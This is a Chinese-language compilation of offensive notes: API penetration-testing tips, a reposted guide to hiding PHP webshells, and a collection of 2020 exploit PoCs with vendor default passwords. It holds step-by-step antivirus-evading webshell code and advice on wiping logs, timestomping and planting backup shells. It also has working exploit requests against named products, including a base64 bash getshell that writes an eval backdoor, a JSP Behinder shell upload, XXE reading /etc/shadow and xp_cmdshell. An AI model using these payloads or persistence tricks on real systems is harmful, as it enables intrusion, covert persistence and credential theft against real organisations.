API渗透测试的一般步骤


针对API的渗透测试一般分为7个步骤,分别是:

  1. 前期交互

  2. 信息收集

  3. 威胁建模

  4. 漏洞发现

  5. 漏洞利用

  6. 后渗透或横向移动

  7. 报告撰写


这里主要介绍信息收集和漏洞发现。

API渗透的信息收集

信息收集是API渗透的入口,非常的重要。


1.自动化的收集

使用自动化工具收集相关对象的信息。 包括域名,子域名,IP,端口,DNS,路径,参数等等

2.手工收集

手工整理业务流程,组织架构和人员职能等

3.情报收集

通过其他渠道获取关键信息。


注意的事项:

API是否存在接口定义的规范描述文件?

  • 如果存在,遵循的规范是什么?

  • API 依赖什么语言实现?

  • API 运行所依赖的组件是什么版本?是否存在已知的漏洞

  • 互联网上是否存在其泄露的API key 或者证书

  • API 是否存在多个版本?多个接入端?


API 渗透的漏洞发现


1.自动化检测

和对象进行交互,根据应答的响应情况来判断是否存在漏洞。

特点: 耗时短,速度快,但是存在误报


2.手工挖掘

人工方式验证,使用辅助的工具

特点: 耗时长,速度慢,但准确性高


实际工作,往往两种方式混用。 先使用自动化监测工具全量扫一遍,再根据高风险业务场景进行人工测试或者复核。


注意的事项:

API渗透测试多为手工挖掘

  • 认证和授权。 对于API的认证鉴权机制,设计人员和研发往往认识不足,甚至缺少认证和授权机制。 比如 令牌,HTTP方法在进入服务器之前是否都经过了严重,OAuth协议使用的正确性,无认证和授权的API 是否可以任意调用。

  • 输入验证。 研发人员通常对输入缺少有效的验证,比如XML实体注入的类型攻击,不同的响应类型application/josn和application/xml

  • 数据编码。 包含JSON格式的数据,容易导致反序列化漏洞或者远程代码执行

  • API版本和影子API。 同一个API的不同版本活未在API规范文件描述的API更容易发现漏洞。



Api-Sec-pentest-tips


API安全系列——API安全测试31个Tips(一)

2021年4月29日留下评论

原项目链接: 31-days-of-API-Security-Tips

tip1:

旧的API版本通常会包含更多的安全漏洞,他们缺乏一些安全机制。我们可以使用REST API的可预测性来预测是否存在旧的API版本。比如当前有一个API被命名为/api/v3/login ,我们可以检查/api/v1/login是否存在 。

比如:

http://api.example.com/v3/login

可以把v3换成v2,v1等等,其实如果想探测到更多的版本,可以探测一些大范围比如v0-100等等。还有存在一些v2.1 这种小版本的可能。

http://api.example.com/v2.1/login

tip2:

永远不要认为只有一种方法来验证API的身份。现代的应用程序有很多API接口用于认证:/api/mobile/login| /api/v3/login| /api/magic_link等。找出他们并测试所有的授权认证问题。

认证的接口确实很多,包括

  • /api/mobile/login

  • /api/v3/login

  • /api/magic_link


这种需要去变量很多的二级子目录,再加上login,或者一些其他的接口也是可以登录,这个需要查看官方的文档。

OAuth的认证机制,需要学习一下。很多大公司的OAuth的接口如下:

在线服务接口端点
RFC 6749/token
Twitter/oauth2/token
Dropbox/oauth2/authorize
Facebook/oauth/access_token
Google/o/oauth/token
Github/login/oauth/access_token
instagram/oauth/authorize
tumblr/oauth/token

做认证的时候,公开API 一般为:

https://api.example.com/v1/oauth2/toke

tip3:

还记得5-10年前SQL注入是多么常见么?你几乎可以进入任意一家公司。BOLA(IDOR)是API安全最新的流行病。作为一个渗透者,如果你知道如何利用它,你的荣誉就得到了保证。

BOLA参考信息:https://medium.com/@inonst/a-deep-dive-on-the-most-critical-api-vulnerability-bola-1342224ec3f2

看了一下BOLA,打算写一篇文章来介绍一下,后面放文章链接。

tip4:

测试一个Ruby on Rails App的时候,注意一个包含URL?的HTTP参数。 开发人员有的时候会使用”Kernel#open” 函数访问urls== Game Over,只需要发送一个管道作为第一个字符,然后发送一个shell命令(通过设计的命令注入)

更多的参考函数文档: https://apidock.com/ruby/Kernel/open

tip5:

寻找SSRF? 使用它来

  • 内部端口扫描

  • 利用云服务

  • 使用http://webhook.site 网站来反查IP地址和HTTP库

  • 下载大的文件(7层 DOS)

  • 反射SSRF,本地管理平台泄露



tip6:

Mass Assignment(批量赋值)是一个真实存在的。现在框架鼓励开发人员在不理解安全影响的情况下使用MA。在开发过程中,不要猜测对象的属性名称,只需要找到一个返回所有属性的GET端口即可。


Infographic


更多的了解批量赋值:

一文带你了解 Laravel 中的 Mass-Assignment (批量赋值)



tip7:

一家公司向开发者公开了API接口,而且在移动端和web端使用了相同的API程序。我们需要分开测试它们,不要假设它们实现了相同的安全机制。


tip8:

在进行测试REST API时,我们也应该检查一下API是否也支持SOAP。将content-type更改为“application/xml”,在请求主体中添加一个简单的xml,并查看API如何处理它。

有时身份验证是在不同的组件中完成的。可能是在REST和SOAP API之间共享的,所以SOAP API可能支持JWT。如果API返回带有DUMPling的stack trace,那么它很可能是存在漏洞的。

tip9:

试图找到BOLA(Broken Object Level Authorization)的漏洞?

HTTP bodies/headers 中的id往往比url中的id更容易受到攻击,首先试着关注他们。


tip10:

利用REST的特性来查找管理API endpoints!

比如你看到一个api叫做 GET /api/v1/users/<id>,我们可以试着修改请求方法POST/DELETE来 create/delete users


其实这些API端口是很好猜的,而且设计规范的API 也应该这样设计。

一个规范的设计:

https://api.example.com/v1/users/<id>

可以替换版本,二级目录,id ,包括方法等等,这都是可以用遍历工具来找出来的。

tip11:

检查API 是否使用授权头?忘了 CSRF 吧!如果身份验证机制不支持 cookie,则这个 API 就被设计为了防止 CSRF 的攻击。


tip12:

对 BOLA (IDOR)的测试?即使ID是GUID或非数字类型的值,渗透测试人员也要尝试发送一个数字值。

例如: / ?user_id=111 使用 user_id=inon@traceable.ai 代替

有时身份认证机制同时支持这两种方式,而且暴力破解数字更容易。


tip13:

使用大量分配绕过安全机制。例如,“输入密码”机制:

  • POST /api/reset_pass requires old password.

  • PUT /api/update_user is vulnerable to MA == can be used to update pass without sending the old one (For CSRF)*


比如 上面的重设密码需要旧密码,但是更新用户的API 就不需要发送旧密码


tip14:

在API测试期间卡住了?

扩大你的攻击面!

查找同级域名或者子域名 使用http://Virustotal.comhttp://Censys.io。其中一些域可能使用不同的配置/版本公开相同的api。


tip15:

静态资源包括照片、视频等等,Web服务器(IIS、Apache)在授权时对静态资源的方式是不同的。即使开发人员实现了良好的授权,也有很好的机会访问其他用户的静态资源。



tip16:

即使您使用另一个web代理,始终在后台使用Burp。@PortSwigger的人在帮助你管理测试用例方面做得非常好。使用“树视图”(免费版本)功能查看您访问过的所有API端点。


tip17:

移动证书锁定?在你开始逆向工程和修补客户端应用程序之前,检查iOS和Android客户端以及它们的旧版本。很有可能其中一个没有启用证书锁定。 这样可以节约时间。


tip18:

公司和开发人员倾向于将更多的资源(包括安全性)投入到主要的api中。那些很少被人们使用过的API 接口可以发掘一些有趣的漏洞。

如 POST /api/profile/upload_christmas_voice_greeting


tip19:

你觉得哪些功能更容易受到攻击?

  • Organization’s user management

  • Export to CSV/HTML/PDF

  • Custom views of dashboards

  • Sub user creation&management

  • Object sharing (photos, posts,etc)


上面的都容易被攻击吧,最容易的就是有权限访问的。像组织用户管理,子用户创建和管理。

对象共享,也有权限问题,输出CSV/HTML/PDF 这个功能可能比前面的要好一点。


tip20:

测试AuthN api ? 如果您在生产环境中进行测试,那么很有可能AuthN端点具有抗暴力破解保护。无论如何,DevOps工程师倾向于在非生产环境中禁用速率限制。不要忘记测试它们:)

更多的例子: WHY FACEBOOK HACKERS ARE A REAL THREAT AND HOW TO PROTECT YOURSELF


这个例子也会写一篇文章,链接后面发。

tip21:


在API测试期间卡住了?

扩大攻击面! 使用http://archive.com,找到旧版本的web应用程序,探索新的API endpoints。

不能使用客户端? 扫描.js文件寻找url。其中一些是API endpoints。


tip22:

api从设计上倾向于泄漏PII。BE工程师返回原始JSON对象,并依赖FE工程师过滤敏感数据。发现敏感资源(如收据)?找到所有返回它的EPs: /download_receipt,/export_receipt,等等。

有些端点可能会泄漏用户无法访问的过多数据。

这是 OWASP api 前10名的一个例子-# 3-过度的数据曝光


tip23:

找到从网络服务器下载任意文件的方法?将测试从黑盒测试转为白盒测试。下载app的源代码(DLL files: use IL-spy; Compiled Java – use Luyten)阅读代码并发现新的问题!


tip24:

在API测试期间卡住了? 扩大你的攻击面! 记住开发人员经常在非生产环境中禁用安全机制(qa/staging/etc);

利用这一事实来绕过AuthZ, AuthN,速率限制和输入验证。


tip25:

发现“export to PDF”功能? 开发者很有可能使用外部库在后台来转换HTML——>PDF。尝试注入HTML元素并导致Export Injection

导出注入: Export Injection

https://medium.com/@inonst/export-injection-2eebc4f17117


tip26:

在api中寻找BOLA (IDOR) ?有401/403的错误吗? AuthZ绕过技巧:

  • Wrap ID with an array{“id”:111} –> {“id”:[111]}

  • JSON wrap {“id”:111} –> {“id”:{“id”:111}}

  • Send ID twice URL?id=<LEGIT>&id=<VICTIM>

  • Send wildcard {"user_id":"*"}

在某些情况下,AuthZ机制需要一个普通字符串(在本例中是一个ID),如果它接收到一个JSON,它就不会执行AuthZ检查。然后,当输入到数据获取组件时,使用JSON而不是字符串(e。g:它扁平化了JSON)


tip27:

BE服务器不再负责保护XSS攻击。api不返回HTML,而是返回JSON。如果API返回XSS payload?

例子:

{"name":"In<script>alert(21)</script>on},所以在用户侧永远都需要做XSS保护。


这个思路确实猥琐。


tip28:

如果我们在渗透的是一个.net编写的app应用。

找到一个包含文件路径/名称的参数? 开发人员有时使用path.combine (path_1,path_2)来创建完整路径。如果param#2是绝对路径,那么param#1被忽略。


关于控制path: Path.Combine Security Issues in ASP.NET Applications


tip29:

API暴露了应用程序的底层实现。渗透者应该利用这一事实来更好地了解用户、角色、资源和它们之间的相关性,并发现很酷的漏洞和漏洞。始终对API响应保持好奇。


tip30:

在API测试期间卡住了?扩大你的攻击面!

如果API有移动客户端,请下载APK文件的旧版本,以探索旧/遗留的功能,并发现新的API端点。

请记住: 公司并不总是从一开始就实现安全机制,而且DevOps工程师也不会经常弃用旧的api。利用这些事实来发现没有实现安全机制(授权、输入过滤和速率限制)的影子API端点

Download old APK versions of android apps: https://apkpure.com


tip31:

发现一个limit / page参数?

(例如: /api/news?limit=100)它可能容易受到7层DoS的攻击。尝试发送一个长值(例如:limit=999999999),看看会发生什么.





php隐藏webshell权限的方式


转自:酒仙桥六号部队 https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug
这个公众号的文章质量都非常高,推荐大家关注

拿下一个站后总希望自己的后门能够很隐蔽!不让网站管理员或者其他的Hacker发现,网上关于隐藏后门的方法也很多,如加密、包含,解析漏洞、加隐藏系统属性等等,但大部分已经都不实用了,随便找一个查马的程序就能很快的查出来,下面分享我总结的一些经验:

制作免杀webshell

隐藏webshell最主要的就是做免杀,免杀做好了,你可以把webshell放在函数库文件中或者在图片马中,太多地方可以放了,只要查杀工具查不到,你的这个webshell就能存活很长时间,毕竟管理员也没有那么多精力挨个代码去查看。

命令执行的方法

这里使用我们最常用的php的一句话马来给大家做演示,PHP版本是5.6的,在写一句话马之前我们来先分析一下PHP执行命令方法

直接执行

使用php函数直接运行命令,常见的函数有(eval、system、assert)等,可以直接调用命令执行。

1
@eval('echo 这是输出;');

动态函数执行

我们先把一个函数名当成一个字符串传递给一个变量,在使用变量当作函数去执行

1
$a="phpinfo";$a();

文件包含执行

有两个php文件,我们把执行命令的放在文件b中,使用文件a去包含,达到执行的效果

b.php

12
<?php@eval('echo 这是输出;');

a.php

12
<?phpinclude a.php

回调函数

将想要执行命令的函数赋值给一个变量,再用一个可以调用函数执行的函数把变量解析成函数,这么说可能有点绕,看一下array_map函数的用法:array_map函数中将$arr每个元素传给func函数去执行,例子:

1234
<?php$func = 'system';$arr = array('whoami');array_map($func, $arr);

PHP Curly Syntax

我们可以理解为字符串中掺杂了变量,再使用变量去拼接字符串,达到命令执行的效果

123
<?php$a = 'p';eval("{$a}hpinfo();");

php反序列化

这是根据php反序列化漏洞来实现命令执行,可以先创建一个反序列化的漏洞文件,再去调用反序列化函数unserialize

12345678
<?phpclass test{    public $a="123";    public function __wakeup(){        eval($this->a);    }}unserialize('O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}');

php://input方法

php://input可以访问请求的原始数据的只读流,我们可以理解为我们传post参数,php://input会读取到,这时候我们就可以加以利用了。

12
<?php@eval(file_get_contents('php://input'));

preg_replace方法

preg_replace函数执行一个正则表达式的搜索和替换。我们可以使用一个命令执行函数去替换正常的字符串,然后去执行命令。

12
<?phpecho preg_replace("/test/e",phpinfo(),"jutst test");

ob_start

ob_start函数是打开输出控制缓冲,传入的参数会在使用ob_end_flush函数的时候去调用它执行输出在缓冲区的东西。

12345
<?php$cmd = 'system';ob_start($cmd);echo "whoami";ob_end_flush();//输出全部内容到浏览器

编写免杀

上面说了那么多其实都是一句话木马的思路,每一种方式都可以写成一句话木马,而想要免杀常常会多种组合到一起,下面从最简单的木马一步步变形,达到免杀的目的。

1
assert($_POST['x']);

这种就是最简单的一句话木马,使用D盾扫一下,可以看到5级,没有什么好说的。

动态函数方法,把assert这个函数赋值两次变量,再把变量当成函数执行。

12
$c = "assert";$c($_POST['x']);

回调函数方法,把assert函数当作参数传给array_map去调用执行。

123
<?php$fun = 'assert';array_map($fun,array($_POST['x']));

可以看到上面的都是通过两种方法的结合,简单的处理一下,就变成了4级,感兴趣的可以把其他的方法都尝试一下,4级的很简单,我们去看看3级的都是怎么处理的

通过上面的动态函数方法我们可以思考,函数可以当成字符串赋值给变量,那么变量也一定能当成字符串赋值给变量,但调用时需要用$$

1234
<?php$a = "assert";$c ='a';$$c($_POST['x']);

我们在把这种方法结合到回调函数方法中,可以看到,已经是2级了

1234
<?php$fun = 'assert';$f = 'fun';array_map($$f,array($_POST['x']));

这时候我们看一下D盾中的说明:array_map中的参数可疑,我们这时候可以用函数封装一下参数

12345678910
<?phpfunction ass(){    $a = "a451.ass.aaa.ert.adaww";    $b = explode('.',$a);    $c = $b[1] . $b[3];    return $c;}$b = array($_POST['x']);$c = ass();array_map($c,$b);

1级了,离目标近在咫尺了,这时候我们应该考虑让一句话木马像正常的代码,在好好的封装一下

123456789101112131415161718192021
<?phpfunctiondownloadFile($url,$x){    $ary = parse_url($url);    $file = basename($ary['path']);    $ext = explode('.',$file);    // assert     $exec1=substr($ext[0],3,1);    $exec2=substr($ext[0],5,1);    $exec3=substr($ext[0],5,1);    $exec4=substr($ext[0],4,1);    $exec5=substr($ext[0],7,2);    $as[0] = $exec1 . $exec2 . $exec3 . $exec4 . $exec5;    $as[1] = $x;    return $as;}$a = $_POST['x'];$s = downloadFile('http://www.baidu.com/asdaesfrtafga.txt',$a);$b = $s[0];$c = $s[1];array_map($b,array($c));

再试试其他免杀工具。

WebShellKiller:

安全狗:

微步云沙箱:

再试试可不可以连接没有问题,完美!!

更好的隐藏webshell一些建议

  1. 拿到权限以后,把网站日志中的所有关于webshell的访问记录和渗透时造成的一些网站报错记录全部删除

  2. 把webshell的属性时间改为和同目录文件相同的时间戳,比如linux中的touch就是非常好的工具

  3. 目录层级越深越好,平时网站不出问题的话,一般四五级目录很少会被注意到,尽量藏在那些程序员和管理员都不会经常光顾的目录中比如:第三方工具的一些插件目录,主题目录,编辑器的图片目录以及一些临时目录

  4. 利用php.ini 配置文件隐藏webshell,把webshell的路径加入到配置文件中

  5. 尝试利用静态文件隐藏一句话,然后用.htaccess 规则进行解析

  6. 上传个精心构造的图片马,然后再到另一个不起眼的正常的网站脚本文件中去包含这个图片马

  7. 靠谱的方法就是直接把一句话插到正常的网站脚本文件里面,当然最好是在一个不起眼的地方,比如:函数库文件,配置文件里面等等,以及那些不需要经常改动的文件

  8. 如果有可能的话,还是审计下目标的代码,然后想办法在正常的代码中构造执行我们自己的webshell,即在原生代码中执行webshell

  9. webshell里面尽量不要用类似eval这种过于敏感的特征,因为awk一句话就能查出来,除了eval,还有,比如:exec,system,passthru,shell_exec,assert这些函数都最好不要用,你可以尝试写个自定义函数,不仅能在一定程度上延长webshell的存活时间也加大了管理员的查找难度,也可以躲避一些功能比较简陋waf查杀,此外,我们也可以使用一些类似:call_user_func,call_user_func_array,诸如此类的回调函数特性来构造我们的webshell,即伪造正常的函数调用

  10. webshell的名字千万不要太扎眼,比如:hack.php,sb.php,x.php这样的名字严禁出现……,在给webshell起名的时候尽量跟当前目录的,其他文件的名字相似度高一点,这样相对容易混淆视听,比如:目录中有个叫new.php的文件,那你就起个news.php

  11. 如果是大马的话,尽量把里面的一些注释和作者信息全部都去掉,比如intitle字段中的版本信息等等,用任何大马之前最好先好好的读几遍代码,把里面的shell箱子地址全部去掉推荐用开源的大马,然后自己拿过来仔细修改,记住,我们的webshell尽量不要用加密,因为加密并不能很好的解决waf问题,还有,大马中一般都会有个pass或者password字符,建议把这些敏感字段全部换成别的,因为利用这样的字符基本一句话就能定位到

  12. 养成一个好习惯,为了防止权限很快丢失,最好再同时上传几个备用webshell,注意,每个webshell的路径和名字千万不要都一样更不要在同一个目录下,多跳几层,记住,确定shell正常访问就可以了,不用再去尝试访问看看解析是否正常,因为这样就会在日志中留下记录,容易被查到

  13. 当然,如果在拿到服务器权限以后,也可以自己写个脚本每隔一段时间检测下自己的webshell是否还存在,不存在就创建

  14. 在有权限的情况,看看管理员是否写的有动态webshell监测脚本,务必把脚本找出来,crontab一般都能看见了


2020hw部分poc收集


1.深信服EDR某处命令执行漏洞,危害级别:危急

no1已有

no2 /api/edr/sangforinter/v2/eyJtZDUiOnRydWV9

dev_linkage_launch.php为设备联动的新入口点主要是将联动的接口构造成业务统一处理的接口。

通过nginx规则可以得知,他们没有设置禁止外网访问.从而可以直接访问/api/edr/sangforinter/v2/xxx 绕过 第一个检查。

if($md5_str == $json_token["md5"]) 引发第二个漏洞: php弱类型导致的漏洞,绕过只需要传入一个base64编码的json内容为 {“md5”:true}即可。

process_cssp.php文件存在任意指令执行漏洞.作者试图使escapeshellarg函数去给单引号打反斜杠实际上是毫无作用的。

绕过:{"params":"w=123\"'1234123'\"|命令"}

no3 某服SSL VPN任意密码重置


某VPN加密算法使用了默认的key,攻击者构利用key构造重置密码数据包从而修改任意用户的密码
利用:需要登录账号


M7.6.6R1版本key为20181118

M7.6.1key为20100720

https://<PATH>/por/changepwd.csp

sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN(脚本计算后结果)


no4 某服SSL VPN修改任意账户手机号

修改手机号接口未正确鉴权导致越权覆盖任意用户的手机号码

利用:需要登录账号


https://<PATH>/por/changetelnum.csp?apiversion=1
newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1


2.深信服SSL VPN 远程代码执行漏洞,危害级别:危急



3.绿盟UTS综合威胁探针信息泄露漏洞,危害级别:危急,官方已发布补丁

抓包 改false为true即可得到md5密码

V2.0R00F02SP02及之前版本

修复:http://update.nsfocus.com/update/listBsaUtsDetail/v/F02

4.Apache DolphinScheduler远程代码执行漏洞(CVE-2020-11974),危害级别:危急,官方已发布补丁

11974:Apache DolphinScheduler = 1.2.0、1.2.113922:POST /dolphinscheduler/users/updateid=1&userName=admin&userPassword=Password1!&tenantId=1&email=sdluser%40sdluser.sdluser&phone=
POST /dolphinscheduler/datasources/connect HTTP/1.1



type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test&

principal=&userName=root&password=root&connectType=&

other={"detectCustomCollations":true,"autoDeserialize":true}

影响版本:Apache DolphinScheduler = 1.2.0、1.2.1、1.3.1

5.Apache Cocoon security vulnerability (CVE-2020-11991),危害级别:危急,官方已发布补丁

post /v2/api/product/manger/getInfo

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM
"file:///etc/shadow"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>




6.天融信TopApp-LB 负载均衡系统SQL注入漏洞,危害级别:高危

POST /acc/clsf/report/datasource.php HTTP/1.1
Host:
Connection: close
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.6.0.3
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ijqtopbcbmu8d70o5t3kmvgt57
Content-Type: application/x-www-form-urlencoded
Content-Length: 201
 
t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22-- &o=r_Speed&gid=0&lmt=10&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&rpt=




7.用友GRP-u8 命令执行漏洞,危害级别:危急

http://112.45.152.8:8001/Proxy


cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'ipconfig'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>

8.泛微云桥任意文件读取漏洞,危害级别:高危

GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt HTTP/1.1
User-Agent: curl/7.29.0
Host: xxxxx
Accept: */*
得到id里的替换xxxx
GET /file/fileNoLogin/xxxxxxxxxx HTTP/1.1
User-Agent: curl/7.29.0
Host: xxxxx
Accept: */*


目录遍历/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/&fileExt=txt

影响2018-2019全版本

9.齐治堡垒机前台远程命令执行漏洞,危害级别:危急

no.1

齐治运维堡垒机服务端存在命令执行漏洞,攻击者可利用该漏洞获取服务器权限。无需登录先访问:http://10.20.10.11/listener/cluster_manage.php,返回OK,确认漏洞存在。然后访问链接:

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}
即可getshell,执行成功后,生成PHP一句话马 /var/www/shterm/resources/qrcode/lbj77.php 密码10086,使用BASE64进行编码。


    no.2

POST/shterm/listener/tui_update.php

a=["t';import os;os.popen('whoami')#"]


10.联软准入系统任意文件上传漏洞EXP公开,危害级别:危急

POST /uai/download/uploadfileToPath.htm HTTP/1.1
HOST: xxxxx
... ...

-----------------------------570xxxxxxxxx6025274xxxxxxxx1
Content-Disposition: form-data; name="input_localfile"; filename="xxx.jsp"
Content-Type: image/png

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

-----------------------------570xxxxxxxxx6025274xxxxxxxx1
Content-Disposition: form-data; name="uploadpath"

../webapps/notifymsg/devreport/
-----------------------------570xxxxxxxxx6025274xxxxxxxx1--
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/

11.PAN-OS远程代码执行漏洞,危害级别:危急 2020-2040

no1 



12.天融信dlp越权修改密码漏洞

POST /?module=auth_user&action=mod_edit_pwd
Cookie:username=superman

uid=1&pd=Newpasswd&mod_pwd=1&dlp_perm=1


13.CVE-2019-19781远程代码执行 Citrix ADC(NetScalers)

访问 https://target-ip 或 http://target-ip
登录系统,默认用户和密码登录:nsroot/nsroot

利用目录穿越写入命令语句到newbm.pl文件中

POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: target-ip
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.23.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/15ffbdca
Content-Length: 89
 
url=http://example.com&title=15ffbdca&desc=[% template.new('BLOCK' = 'print `whoami`') %]

GET /vpns/portal/15ffbdca.xml HTTP/1.1
Host: 50.202.211.151
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.23.0
NSC_NONCE: nsroot
NSC_USER: nsroot

no2

https://codeload.github.com/jas502n/CVE-2019-19781/zip/master



14.宝塔888->phpmyadmin   /pma



15.Horde Groupware Webmail Edition 远程命令执行

https://srcincite.io/pocs/zdi-20-1051.py.txt

poc.py 172.16.175.148/horde/ hordeuser:pass123172.16.175.145


绿盟默认密码

IPS入侵防御系统、SAS­H运维安全管理系统、SAS安全审计系统、DAS数据库审计系统、RSAS远程安全评估系统、WAF WEB应用防护系统

sysauditor/sysauditor

sysmanager/sysmanager

supervisor/supervisor

maintainer/maintainer

webpolicy/webpolicy

sysadmin/sysadmin

conadmin/conadmin

supervis/supervis

webaudit/webaudit

sysadmin/sysadmin

conadmin/nsfocus

weboper/weboper

auditor/auditor

weboper/weboper

nsadmin/nsadmin

admin/nsfocus

admin/admin

shell/shell

其他:

天融信防火墙 用户名:superman 密码:talent

天融信防火墙 用户名:superman 密码:talent!23 

联想网御防火墙 用户名:admin 密码:leadsec@7766、administrator、bane@7766

深信服防火墙 用户名:admin 密码:admin

启明星辰 用户名:admin 密码:bane@7766 用户名:admin 密码:admin@123

juniper 用户名:netscreen 密码:netscreen

Cisco 用户名:admin 密码:cisco

Huawei 用户名:admin 密码:Admin@123 

H3C 用户名:admin 密码:admin

绿盟IPS 用户名: weboper 密码: weboper

网神防火墙GE1 用户名:admin 密码:firewall

深信服VPN:51111端口   密码:delanrecover

华为VPN:账号:root  密码:mduadmin

华为防火墙:admin   密码:Admin@123    

EudemonJuniper防火墙:netscreen    netscreen

迪普 192.168.0.1 默认的用户名和密码(admin/admin_default)

山石 192.168.1.1 默认的管理账号为hillstone,密码为hillstone

安恒的明御防火墙 admin/adminadmin

某堡垒机 shterm/shterm

天融信的vpn test/123456